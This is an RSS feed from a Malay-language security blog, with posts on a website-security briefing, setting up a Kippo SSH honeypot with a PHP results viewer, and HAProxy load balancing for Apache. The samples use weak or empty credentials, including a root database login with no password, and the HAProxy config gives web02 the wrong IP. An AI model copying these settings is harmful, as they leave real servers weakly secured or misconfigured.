<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>0x6768316d6175277320646f6d61696e</title>
	<atom:link href="http://gh1mau.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://gh1mau.wordpress.com</link>
	<description>-(g)h1mau&#039;s domain &#124; so what d0 you expect ?-</description>
	<lastBuildDate>Tue, 31 Jan 2012 03:54:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='gh1mau.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>0x6768316d6175277320646f6d61696e</title>
		<link>http://gh1mau.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://gh1mau.wordpress.com/osd.xml" title="0x6768316d6175277320646f6d61696e" />
	<atom:link rel='hub' href='http://gh1mau.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Taklimat Ringkas Keselamatan Laman Web</title>
		<link>http://gh1mau.wordpress.com/2012/01/26/taklimat-ringkas-keselamatan-laman-web/</link>
		<comments>http://gh1mau.wordpress.com/2012/01/26/taklimat-ringkas-keselamatan-laman-web/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 07:31:58 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security informations]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=120</guid>
		<description><![CDATA[Salam, pagi tadi aku bagi taklimat ringkas pasal Keselamatan Laman Web. Ni ada sikit slaid aku kongsikan. layan kan.. Happy h4ckin dari pokcik gh1mau<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=120&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Salam, pagi tadi aku bagi taklimat ringkas pasal Keselamatan Laman Web. Ni ada sikit slaid aku kongsikan. layan kan.. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://gh1mau.files.wordpress.com/2012/01/1.png"><img class="wp-image-122 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/1.png?w=442&#038;h=333" alt="" width="442" height="333" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/2.png"><img class="wp-image-123 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/2.png?w=442&#038;h=333" alt="" width="442" height="333" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/3.png"><img class="wp-image-124 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/3.png?w=442&#038;h=332" alt="" width="442" height="332" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/4.png"><img class="wp-image-125 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/4.png?w=442&#038;h=334" alt="" width="442" height="334" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/5.png"><img class="wp-image-126 aligncenter" title="5" src="http://gh1mau.files.wordpress.com/2012/01/5.png?w=442&#038;h=333" alt="" width="442" height="333" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/6.png"><img class="wp-image-127 aligncenter" title="6" src="http://gh1mau.files.wordpress.com/2012/01/6.png?w=442&#038;h=333" alt="" width="442" height="333" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/7.png"><img class="wp-image-128 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/7.png?w=442&#038;h=329" alt="" width="442" height="329" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/8.png"><img class="wp-image-129 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/8.png?w=442&#038;h=332" alt="" width="442" height="332" /></a><br />
<a href="http://gh1mau.files.wordpress.com/2012/01/11.png"><img class="wp-image-130 aligncenter" src="http://gh1mau.files.wordpress.com/2012/01/11.png?w=442&#038;h=333" alt="" width="442" height="333" /></a></p>
<p>Happy h4ckin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/120/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/120/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/120/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=120&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2012/01/26/taklimat-ringkas-keselamatan-laman-web/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/1.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/2.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/3.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/4.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/5.png" medium="image">
			<media:title type="html">5</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/6.png" medium="image">
			<media:title type="html">6</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/7.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/8.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/11.png" medium="image" />
	</item>
		<item>
		<title>Kippo SSH HoneyPOT</title>
		<link>http://gh1mau.wordpress.com/2012/01/25/kippo-ssh-honeypot/</link>
		<comments>http://gh1mau.wordpress.com/2012/01/25/kippo-ssh-honeypot/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 08:11:40 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[infrastructure tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=109</guid>
		<description><![CDATA[Lama dah update blog ni. nak buat macam, sibuk sikit.. hehehe. Ok, entry kali ni aku nak kongsi pasal setup SSH HoneyPot guna Kippo. Ok, mari kita tengok apa itu HoneyPot &#8220;In computer terminology, a honeypot is a trap set to detect, deflect, or in some manner counteract attempts at unauthorized use of information systems. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=109&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://gh1mau.files.wordpress.com/2012/01/honey.jpg"><img class="alignleft  wp-image-110" src="http://gh1mau.files.wordpress.com/2012/01/honey.jpg?w=228&#038;h=228" alt="" width="228" height="228" /></a>Lama dah update blog ni. nak buat macam, sibuk sikit.. hehehe. Ok, entry kali ni aku nak kongsi pasal setup SSH HoneyPot guna Kippo.</p>
<p>Ok, mari kita tengok apa itu HoneyPot<br />
&#8220;<em>In computer terminology, a honeypot is a trap set to detect, deflect, or in some manner counteract attempts at unauthorized use of information systems. Generally it consists of a computer, data, or a network site that appears to be part of a network, but is actually isolated and monitored, and which seems to contain information or a resource of value to attackers.</em>&#8220;<br />
Sumber : http://en.wikipedia.org/wiki/Honeypot_(computing)</p>
<p>Jadi kita dapat paham, honeyPot adalah satu &#8216;sistem&#8217; yang disetkan sebagai perangkap untuk mengundang para attackers agar attack sistem tersebut.</p>
<p>Apa tujuannya?<br />
1. Untuk tujuan pengumpulan data(statistik dan pattern).<br />
2. Untuk mempelajari teknik baru yang digunakan oleh attacker.<br />
3. Dan macam-macam lagi la <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Cuba kita nengok diagram architechture honeyPot kat bawah ni.</p>
<div id="attachment_112" class="wp-caption aligncenter" style="width: 448px"><a href="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram1.png"><img class=" wp-image-112 " src="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram1.png?w=438&#038;h=290" alt="" width="438" height="290" /></a><p class="wp-caption-text">Caption : Architecture Kippo HoneyPot</p></div>
<p>By <strong>default port Kippo adalah 2222</strong>, so kita perlu buat <strong>portforwarding</strong> dari port 22(standard ssh port) kepada port 2222. Dan kita perlukan satu lagi port pada server ni, untuk tujuan management. Attacker dari luar akan melihat port 22 ini dibuka, dan mereka akan cuba untuk &#8216;masuk&#8217;. Dalam kes ini, kita setkan kippo server berada pada DMZ Zone.</p>
<p>Attacker akan membuat port scan terhadap server ini dan mendapati port 22(ssh) dibuka. Dan attacker akan mulakan aktiviti &#8216;nger00t&#8217; hehehe.</p>
<div id="attachment_113" class="wp-caption aligncenter" style="width: 448px"><a href="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram2.png"><img class=" wp-image-113 " src="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram2.png?w=438&#038;h=335" alt="" width="438" height="335" /></a><p class="wp-caption-text">Architecture Kippo HoneyPot</p></div>
<p>Ok, sekarang ni kita tengok macam mana nak setup kippo HoneyPot ni. Aku gunakan Ubuntu Server. Pertama sekali login dalam ubuntu server korang dan jalankan command berikut :</p>
<p><pre class="brush: perl;">
sudo mkdir /opt/kippo
sudo apt-get install subversion
sudo apt-get install mysql-server
sudo apt-get install python-dev openssl python-openssl python-pyasn1 python-twisted python mysql-db

cd /opt/kippo/
sudo svn checkout http://kippo.googlecode.com/svn/trunk/
</pre></p>
<p>Kemudian kita setkan user baru dengan nama kippo(atau apa-apa nama). (kita taknak run honeyPot ni sebagai user root).</p>
<p>Kita buat sikit konfigurasi pada mysql server. Korang leh gunakan command kat bawah ni.</p>
<p><pre class="brush: perl;">
mysql -u root -p
mysql&gt;CREATE DATABASE kippo;
GRANT ALL ON kippo.* to 'kippo'@'localhost' identified by 'katalaluan';
exit

cd /opt/kippo/doc/sql
mysql -u kippo -p kippo &lt; mysql.sql
exit
</pre></p>
<p>Anda perlu mengubah konfigurasi pada fail kippo.cfg. Masukkan nama database, katanama, katalaluan.<br />
Kemudian korang kena setkan pada iptables untuk tujuan port forward.</p>
<p><pre class="brush: perl;">
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-port 2222
</pre></p>
<p>Kita boleh mula runkan kippo honeyPot ni dengan command berikut :</p>
<p><pre class="brush: perl;">
su kippo
bash
/opt/kippo/start.sh
</pre></p>
<p>Kat bawah ni ada script yang aku buat untuk tujuan paparan data yang diperolehi dari kippo <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><pre class="brush: php;">
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;meta http-equiv=&quot;refresh&quot; content=&quot;300;url=main.php&quot;&gt;
&lt;title&gt;SSH HoneyPot Viewer by Hussein b. Mohamed a.k.a gh1mau&lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;
body,td,th {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
body {
background-image: url(DSCRT-15-7.jpg);
background-repeat: repeat;
}

.tbl_header {
color: #FFF;
}
#left-table, #right-table {
float:left;
}
#left-table {
margin-right:1px;
}
#new-table {
float:inherit
}

&lt;/style&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;?php
//setting untuk connection dengan db kippo
$host = &quot;localhost&quot;;
$user = &quot;root&quot;; //username
$pass = &quot;&quot;; //password
$db_name = &quot;kippo&quot;; //nama database

$link = mysql_connect($host, $user, $pass);
mysql_select_db($db_name);

//query utk 10 most common username
$sqlusername = &quot;select count(username), username from auth where username &lt;&gt; '' group by
username order by count(username) desc limit 10&quot;;
$resultusername = mysql_query ($sqlusername);

//query utk 10 most common password
$sqlpassword = &quot;select count(password), password from auth where password &lt;&gt; '' group by
password order by count(password) desc limit 10&quot;;
$resultpassword = mysql_query ($sqlpassword);

//query utk success ratio
$sqlsuccess = &quot;select count(success), success from auth group by success order by success&quot;;
$resultsuccess = mysql_query ($sqlsuccess);

//query utk 10 unique ip
$sqlip = &quot;select count(ip), ip from sessions group by ip order by count(ip) desc limit 10&quot;;
$resultip = mysql_query ($sqlip);

?&gt;
&lt;h3&gt;&lt;strong&gt;&lt;u&gt;SSH HoneyPot Viewer&lt;/u&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;
&lt;?php
//paparkan data dalam table - username
echo '&lt;table width=&quot;25%&quot; id=&quot;left-table&quot;&gt;
&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;strong&gt;&lt;font color=white&gt;Top 10 most common              username attempted   &lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;count(username)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;username&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;';

//dapatkan data menggunkan gelung while
$bg = '#0066FF';
while ($rowusername = mysql_fetch_array($resultusername, MYSQL_ASSOC)){
$bg = ($bg == '#FFFF99' ? '#FF8888' : '#FFFF99');
echo '&lt;tr  bgcolor=&quot;' . $bg . '&quot;&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;' . $rowusername['count(username)'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;' . $rowusername['username'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;';

}

echo '&lt;/table&gt;';
mysql_free_result($resultusername);

//paparkan data dalam table - password
echo '&lt;table width=&quot;25%&quot; id=&quot;right-table&quot;&gt;
&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;strong&gt;&lt;font color=white&gt;Top 10 most common              password attempted   &lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;count(password)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;password&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;';

//dapatkan data menggunkan gelung while
$bg = '#0066FF';
while ($rowpassword = mysql_fetch_array($resultpassword, MYSQL_ASSOC)){
$bg = ($bg == '#FFFF99' ? '#FF8888' : '#FFFF99');
echo '&lt;tr  bgcolor=&quot;' . $bg . '&quot;&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;' . $rowpassword['count(password)'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;' . $rowpassword['password'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;';

}

echo '&lt;/table&gt;';
mysql_free_result($resultpassword);

//paparkan data dalam table - success ratio
echo '&lt;table width=&quot;25%&quot; id=&quot;right-table&quot;&gt;
&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;strong&gt;&lt;font color=white&gt;Top 10 unique IP     connections &lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;count(ip)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;ip&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;

&lt;/tr&gt;';

//dapatkan data menggunkan gelung while
$bg = '#0066FF';
while ($rowip = mysql_fetch_array($resultip, MYSQL_ASSOC)){
$bg = ($bg == '#FFFF99' ? '#FF8888' : '#FFFF99');
echo '&lt;tr  bgcolor=&quot;' . $bg . '&quot;&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;' . $rowip['count(ip)'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;' . $rowip['ip'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;';

}

echo '&lt;/table&gt;';
mysql_free_result($resultip);

//paparkan data dalam table - unique ip
echo '&lt;table width=&quot;25%&quot; id=&quot;right-table&quot;&gt;
&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;strong&gt;&lt;font color=white&gt;Success Ratio     &lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;count(success)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot; bgcolor=&quot;#990000&quot;&gt;&lt;font color = white&gt;&lt;b&gt;success&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;

&lt;/tr&gt;';

//dapatkan data menggunkan gelung while
$bg = '#0066FF';
while ($rowsuccess = mysql_fetch_array($resultsuccess, MYSQL_ASSOC)){
$bg = ($bg == '#FFFF99' ? '#FF8888' : '#FFFF99');
echo '&lt;tr  bgcolor=&quot;' . $bg . '&quot;&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;' . $rowsuccess['count(success)'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;' . $rowsuccess['success'] . '&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;';

}

echo '&lt;/table&gt;';
mysql_free_result($resultsuccess);
mysql_close();
?&gt;
&lt;p&gt;

&lt;table width=&quot;100%&quot; border=&quot;0&quot; id=&quot;right-table&quot;&gt;
&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;by Hussein b. Mohamed a.k.a gh1mau Version 1.0.0&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre></p>
<div id="attachment_114" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2012/01/viewer.png"><img class=" wp-image-114 " src="http://gh1mau.files.wordpress.com/2012/01/viewer.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Caption : Kippo HoneyPot viewer</p></div>
<p>Dan jenguk-jenguk la folder<strong> /opt/kippo/log/tty</strong>. Kat sana kita leh nengok apa yang attacker buat lepas dapat &#8216;masuk&#8217; ke dalam server ni.</p>
<p>Gunakan utilities <strong>playlog.py</strong> (dlm folder /opt/kippo/utils). Macam-macam ada.. heheheh <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Nanti insya ALLAH aku update log-log menarik yang berjaya di&#8217;tangkap&#8217;</p>
<p>p/s : Posting pasal rsync untuk tujuan web apache auto mirror tu aku hold dulu. Nanti ada masa aku buat la posting pasal tu <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Happy h4ckin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/109/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=109&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2012/01/25/kippo-ssh-honeypot/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/honey.jpg" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram1.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/kippo_diagram2.png" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2012/01/viewer.png" medium="image" />
	</item>
		<item>
		<title>Apache Web Clustering dengan Haproxy</title>
		<link>http://gh1mau.wordpress.com/2012/01/10/apache-web-clustering-dengan-haproxy/</link>
		<comments>http://gh1mau.wordpress.com/2012/01/10/apache-web-clustering-dengan-haproxy/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 05:46:49 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[infrastructure tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=96</guid>
		<description><![CDATA[Salam semua, kali ni posting aku adalah berkaitan dengan konfigurasi clustering (load balancing) server apache. Senario dia mudah saja, kita ada 1 server loadbalancer (diset dengan Haproxy:10.55.32.47), dan 2 server web (web01:10.55.32.52, web02:10.55.32.42). Cuba lihat logical diagram dibawah. Apabila klien mengakses web, klien akan menggunakan ip loadbalancer:10.55.32.47, dan loadbalancer akan menghantar request kepada web01. Sekiranya [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=96&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Salam semua, kali ni posting aku adalah berkaitan dengan <strong>konfigurasi clustering (load balancing) server apache</strong>. Senario dia mudah saja, kita ada 1 server loadbalancer (diset dengan Haproxy:10.55.32.47), dan 2 server web (web01:10.55.32.52, web02:10.55.32.42).</p>
<p>Cuba lihat logical diagram dibawah. Apabila klien mengakses web, klien akan menggunakan ip loadbalancer:10.55.32.47, dan loadbalancer akan menghantar request kepada web01.</p>
<div id="attachment_97" class="wp-caption aligncenter" style="width: 449px"><a href="http://gh1mau.files.wordpress.com/2012/01/cluster_up.png"><img class=" wp-image-97 " src="http://gh1mau.files.wordpress.com/2012/01/cluster_up.png?w=439&#038;h=311" alt="" width="439" height="311" /></a><p class="wp-caption-text">Caption: Architecture Apache Web Clustering</p></div>
<p>Sekiranya web01 down, secara automatik, loadbalancer akan menghantar request klien kepada web02. Macam tu lah cara ianya berfungsi. Kalau kedua dua web server down, tak leh nak buat apa la <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Kena tambah lah backup server yang ketiga <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="attachment_98" class="wp-caption aligncenter" style="width: 447px"><a href="http://gh1mau.files.wordpress.com/2012/01/cluster_down.png"><img class=" wp-image-98 " src="http://gh1mau.files.wordpress.com/2012/01/cluster_down.png?w=437&#038;h=308" alt="" width="437" height="308" /></a><p class="wp-caption-text">Caption: Architecture Apache Web Clustering</p></div>
<p>Sekarang ni, kita akan bincangkan konfigurasi yang terlibat.<br />
Bagi server web01 dan web02, kita perlu install package apache. Gunakan command seperti dibawah:</p>
<p><pre class="brush: perl;">
sudo apt-get update
sudo apt-get install apache2
</pre></p>
<p>Buat satu file pada webroot directory, file ini akan digunakan oleh haproxy untuk tujuan memastikan status server web01 dan web02 sama ada up atau down.</p>
<p><pre class="brush: perl;">
sudo touch /var/www/haproxytest.txt
</pre></p>
<div id="attachment_99" class="wp-caption aligncenter" style="width: 460px"><a href="http://gh1mau.files.wordpress.com/2012/01/load_balancer_head_request.png"><img class="size-full wp-image-99" title="" src="http://gh1mau.files.wordpress.com/2012/01/load_balancer_head_request.png?w=614" alt=""   /></a><p class="wp-caption-text">Caption: Loadbalancer akan membuat request fail haproxytest.txt terhadap web01 dan web02 untuk mendapatkan status kedua web server ini.</p></div>
<p>Ok, sekarang ni kita akan mula setup <strong>haproxy</strong> pula. Pada server ubuntu yang lagi satu (10.55.32.47) Kita runkan command berikut :</p>
<p><pre class="brush: perl;">
sudo apt-get install haproxy
</pre></p>
<p>Kemudian kita ubah fail configuration fail <strong>haproxy(/etc/haproxy/haproxy.cfg)</strong> ini dengan configuration seperti dibawah:</p>
<p><pre class="brush: perl;">
global
          maxconn 4096
          user haproxy
          group haproxy
          daemon

defaults
          log     global
          mode    http
          option  httplog
          option  dontlognull
          retries 3
          option  redispatch
          maxconn 2000
          contimeout      5000
          clitimeout      50000
          srvtimeout      50000

listen webcluster 10.55.32.47:80
          mode    http
          stats   enable
          stats   auth kambing:kambing123
          balance roundrobin
          option httpchk HEAD /haproxytest.txt HTTP/1.0
          option forwardfor
          cookie biskut_gh1mau insert
          option httpclose
          server web01 10.55.32.52:80 cookie biskut_gh1mau_web01 check
          server web02 10.55.32.52:80 cookie biskut_gh1mau_web02 check
</pre></p>
<p>Dan kita perlu enable kan haproxy. Setkan <strong>ENABLED=1</strong> pada fail <strong>/etc/default/haproxy</strong>. Kemudian startkan service haproxy dengan command dibawah :</p>
<p><pre class="brush: perl;">
sudo /etc/init.d/haproxy start
</pre></p>
<p>Kita boleh mengakses <strong>status page haproxy</strong> ni dengan url seperti berikut : (alamat ip adalah mengikut alamat ip anda)</p>
<p>http://10.55.32.47/haproxy?stats</p>
<p style="text-align:center;"><a href="http://gh1mau.files.wordpress.com/2012/01/haproxy_status_page.png"><img class="aligncenter  wp-image-100" src="http://gh1mau.files.wordpress.com/2012/01/haproxy_status_page.png?w=491&#038;h=354" alt="" width="491" height="354" /></a></p>
<p>Bila klien akses web page, klien akan diberikan satu cookie, by default cookie adalah merujuk pada web01. Cookie ini akan digunakan oleh haproxy untuk menghantar request client pada server yang berkenaan.</p>
